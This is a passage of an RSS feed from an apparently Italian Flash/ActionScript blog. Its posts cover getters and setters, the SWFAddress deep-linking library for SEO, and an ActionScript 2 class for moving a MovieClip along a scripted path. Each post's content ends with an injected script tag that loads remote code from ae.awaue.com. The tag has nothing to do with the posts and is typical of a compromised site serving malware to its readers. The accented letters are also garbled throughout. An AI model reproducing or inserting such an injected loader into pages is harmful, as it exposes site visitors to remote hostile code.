<p>potrebbe rendersi preferibile l&#8217;uso dei getter\setter piuttosto che utilizzare variabili pubbliche&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/08/08/actionscript-getters-setters-vs-public-vars-cosa-sono-come-e-quando-si-usano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO con Javascript per Actionscript Flash Flex AJAX, si chiama asual SWFAddress ed √® opensource</title>
		<link>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/</link>
		<comments>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/#comments</comments>
		<pubDate>Tue, 17 Jul 2007 23:38:51 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/</guid>
		<description><![CDATA[Utilizzare tecnologie client side quali Flash, Flex, Ajax all&#8217;interno di un website pu√≤ aumentare l&#8217;usabilit√† del sito stesso, pu√≤ rendere pi√π gradevole l&#8217;interfaccia, pi√π intuitiva la navigazione, ma rende decisamente pi√π difficile ed impervia l&#8217;ottimizzazione per i motori di ricerca (SEO).
Uno dei metodi utilizzati per il posizionamento di siti fortemente aggrappati alle tecnologie client √® [...]]]></description>
			<content:encoded><![CDATA[<p>Utilizzare tecnologie client side quali Flash, Flex, Ajax all&#8217;interno di un website pu√≤ aumentare l&#8217;usabilit√† del sito stesso, pu√≤ rendere pi√π gradevole l&#8217;interfaccia, pi√π intuitiva la navigazione, ma rende decisamente pi√π difficile ed impervia l&#8217;ottimizzazione per i motori di ricerca (SEO).</p>
<p>Uno dei metodi utilizzati per il posizionamento di siti fortemente aggrappati alle tecnologie client √® creare delle &#8220;<a href="http://en.wikipedia.org/wiki/Landing_page">landing pages</a>&#8221; che rimandino in qualche modo al sito flash \ ajax \ flex \ ecc.. ma il buon esito non √® certo assicurato, anzi.</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2007/07/seo.jpg" alt="SEO con Flash e Ajax" /></p>
<p><span id="more-14"></span><br />
Da come ho impostato l&#8217;inizio dell&#8217;articolo sembra quasi che voglia vendervi un rimedio miracoloso per il seo su siti &#8220;client&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
invece no, tutto gratuito, ed oltre tutto open source! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  In Bulgaria c&#8217;√® un&#8217;aziendina, la &#8220;<em>asual</em>&#8220;, che si √® inventata l&#8217; <a href="http://www.asual.com/swfaddress/">SWFAddress</a>, ossia un sistema basato su javascript e fortemente legato a <a href="http://blog.deconcept.com/swfobject/">SWFObject</a> che permette il deep linking con flash, ajax e le altre tecnologie lato client.</p>
<p><strong>Come si usa e come √® stato fatto</strong><br />
La logica √® quella dell&#8217;url rewriting e dei permalink, ma questi vengono creati runtime dagli script residenti sul client.</p>
<p>Le classi per Actionscript 2 e 3 di SWFAddress forniscono delle API al player per interagire con l&#8217;oggetto &#8220;asual&#8221; nella libreria javascript che si andr√† ad includere nella pagina.</p>
<p>Nel codice html della pagina baster√† includere SWFObject e SWFAddress (ricordarsi, prima uno e <strong>poi</strong> l&#8217;altro, altrimenti non funzia)</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code22'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1422"><td class="code" id="p14code22"><pre class="html" style="font-family:monospace;">&lt;script src=&quot;swfobject/swfobject.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;swfaddress/swfaddress.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre></td></tr></table></div>

<p>Nel codice actionscript bisogner√† importare ed istanziare la classe SWFAddress e definire i pattern di navigazione desiderati.<br />
In linea di massima ogni qual volta si &#8220;cambier√† sezione&#8221; del sito baster√† aggiungere alla funzione qualcosa tipo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code23'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1423"><td class="code" id="p14code23"><pre class="actionscript" style="font-family:monospace;">SWFAddress.<span style="color: #006600;">setValue</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'/nomesezione/'</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>e nella barra del browser cambier√† l&#8217;url.<br />
Per quanto riguarda il processo inverso (ossia forzare una sezione del sito in flash partendo da un url digitato sulla barra del browser) invece √® necessario definire gli stessi pattern all&#8217;interno del metodo</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p14code24'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1424"><td class="code" id="p14code24"><pre class="actionscript" style="font-family:monospace;">SWFAddress.<span style="color: #006600;">onChange</span></pre></td></tr></table></div>

<p>in modo che venga a crearsi una reciproca corrispondenza tra funzioni flash e url nel browser.</p>
<p>SWFAddress per flash √® basato su &#8220;ExternalInterface&#8221; disponibile dal flash player 8 (classe dedita all&#8217;interazione tra actionscript e javascript).<br />
L&#8217;oggetto javascript asual dichiarato nella libreria di SWFAddress definisce varie funzioni che permettono di riscrivere secondo la sintassi desiderata l&#8217;url della pagina in permanenza partendo da un url dinamico, di decodificare un URL riscritto precedentemente e addirittura di inserire gli indirizzi codificati a runtime delle pagine nella history del browser.<br />
Il tutto √® reso possibile dalla rivalutazione del token html &#8220;#&#8221;. Il cancelletto # indica le ancore all&#8217;interno di una pagina html,  cliccando su un&#8217;ancora la pagina si &#8220;sposta&#8221; focalizzando sul punto visibile pi√π vicino all&#8217;ancora ma <strong>non</strong> viene ricaricata la pagina bench√® l&#8217;URL della pagina stessa venga riscritto.</p>
<p><strong>IMHO</strong><br />
Il difetto maggiore di SWFAddress a mio avviso √® la mancanza di link effettivi. Questo &#8220;hack delle ancore&#8221; (passatemi il termine) non risolve il problema principale in materia SEO di piattaforme RIA come Flash: l&#8217;assoluta assenza di collegamenti. Sicuramente SWFAddress √® un passo da giganti per flash, il &#8220;novello&#8221; flex, e ajax, tanto che aziende affermate come <a href="http://www.2advanced.com">2advanced</a> sfruttano questo tipo di hack per la navigazione del proprio sito, tuttavia ribadisco che la mancanza di link tra le pagine √® una forte limitazione in termini di ottimizzazione per i motori di ricerca.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/07/18/seo-con-javascript-per-actionscript-flash-flex-ajax-si-chiama-asual-swfaddress-ed-e-opensource/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Muovere un MovieClip lungo un path creato dinamicamente con Actionscript 2</title>
		<link>http://www.flashfuck.it/2007/07/12/muovere-un-movieclip-lungo-un-path-creato-dinamicamente-con-actionscript-2/</link>
		<comments>http://www.flashfuck.it/2007/07/12/muovere-un-movieclip-lungo-un-path-creato-dinamicamente-con-actionscript-2/#comments</comments>
		<pubDate>Thu, 12 Jul 2007 20:11:45 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/07/12/muovere-un-movieclip-lungo-un-path-creato-dinamicamente-con-actionscript-2/</guid>
		<description><![CDATA[Da tempo mi ero posto questo problema:
come muovere un movieclip lungo una guida\percorso\path che dir si voglia direttamente da actionscript?
Dovendo affrontare il problema per fini lavorativi ho scandagliato la rete finch√® ho trovato una proto su layer51 del prode senocular.
&#8220;Problema risolto&#8221; direte voi, naaa. Ho tradotto la proto in una classe, niente di ch√®, ma [...]]]></description>
			<content:encoded><![CDATA[<p>Da tempo mi ero posto questo problema:</p>
<p>come muovere un movieclip lungo una guida\percorso\path che dir si voglia direttamente da actionscript?</p>
<p>Dovendo affrontare il problema per fini lavorativi ho scandagliato la rete finch√® ho trovato <a href="http://proto.layer51.com/d.aspx?f=952" title="la proto di senocular">una proto su layer51 del prode senocular</a>.<br />
&#8220;Problema risolto&#8221; direte voi, naaa. Ho tradotto la proto in una classe, niente di ch√®, ma cos√¨ facendo √® (a mio avviso) pi√π utilizzabile.</p>
<p>Intanto <a href='http://www.flashfuck.it/wp-content/uploads/2007/08/pathas.zip' title='Path.as'>scaricatevi la classe</a></p>
<p>Ok, come si usa?<br />
<span id="more-11"></span></p>
<p>importo la classe e creo un percorso con le funzioni che emulano le api</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code34'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1134"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p11code34"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">import</span> it.<span style="color: #006600;">utils</span>.<span style="color: #006600;">Path</span>;</pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code35'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1135"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p11code35"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> myPath:Path = <span style="color: #000000; font-weight: bold;">new</span> Path<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code36'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1136"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p11code36"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">//parto da x=0 e y=0</span></pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code37'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1137"><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code" id="p11code37"><pre class="actionscript" style="font-family:monospace;">myPath.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">100</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #808080; font-style: italic;">//creo una linea retta</span>
&nbsp;
myPath.<span style="color: #006600;">circleCWTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">100</span>,<span style="color: #cc66cc;">100</span>,<span style="color: #cc66cc;">0.5</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #808080; font-style: italic;">//creo una curva in senso orario (ClockWise).</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//il terzo valore oscilla tra 0 e 1</span></pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code38'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1138"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code" id="p11code38"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">//e stabilisce l'ampiezza della curva</span>
&nbsp;
myPath.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
myPath.<span style="color: #006600;">circleCCWTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.5</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #808080; font-style: italic;">//torno al punto di partenza con una</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//curva creata in senso antiorario</span></pre></td></tr></table></div>

<p>ok, adesso guardiamo il nostro percorso disegnandolo su un mc con la funzione draw</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code39'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1139"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p11code39"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> percorso:<span style="color: #0066CC;">MovieClip</span> = <span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">createEmptyMovieClip</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;path_container&quot;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code40'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1140"><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code" id="p11code40"><pre class="actionscript" style="font-family:monospace;">percorso.<span style="color: #0066CC;">lineStyle</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,0x000000,<span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #808080; font-style: italic;">//imposto la linea con la quale sar√† disegnato il percorso</span>
&nbsp;
myPath.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>percorso<span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>bello no?</p>
<p>ora da flash creiamo un nuovo simbolo movieclip, disegnamoci un pacman con la bocca verso l&#8217;alto, lo chiamer√≤ &#8220;pacman&#8221; user√≤ lo stesso nome per il concatenamento.</p>
<p>tornando allo script&#8230;.<br />
facciamo girare il pacman sul percorso disegnato precedentemente:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code41'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1141"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p11code41"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> pac:<span style="color: #0066CC;">MovieClip</span> = <span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">attachMovie</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;pacman&quot;</span>,<span style="color: #ff0000;">&quot;pacman&quot;</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p11code42'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1142"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code" id="p11code42"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> traverse_perc:<span style="color: #0066CC;">Number</span>=<span style="color: #cc66cc;">0</span>;
&nbsp;
pac.<span style="color: #0066CC;">onEnterFrame</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
&nbsp;
myPath.<span style="color: #006600;">traverse</span><span style="color: #66cc66;">&#40;</span>pac,traverse_perc<span style="color: #66cc66;">%</span>100<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">100</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #808080; font-style: italic;">/*
&nbsp;
traverse √® il metodo di Path
&nbsp;
che permette di muoversi attraverso il path creato,
&nbsp;
gli si passano 3 parametri: il mc che deve muoversi,
&nbsp;
il punto di destinazione del mc (compreso tra 0 e 1,
&nbsp;
dove 0 √® l'inizio e 1 la fine), un valore booleano che
&nbsp;
indica se orientare il clip alla direzione del percorso
&nbsp;
o meno (in questo caso il nostro pacman seguir√† la
&nbsp;
direzione del path con la bocca)*/</span>
&nbsp;
traverse_perc++;
&nbsp;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Presto pubblicher√≤ anche un fla con degli esempi pratici&#8230;stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/07/12/muovere-un-movieclip-lungo-un-path-creato-dinamicamente-con-actionscript-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
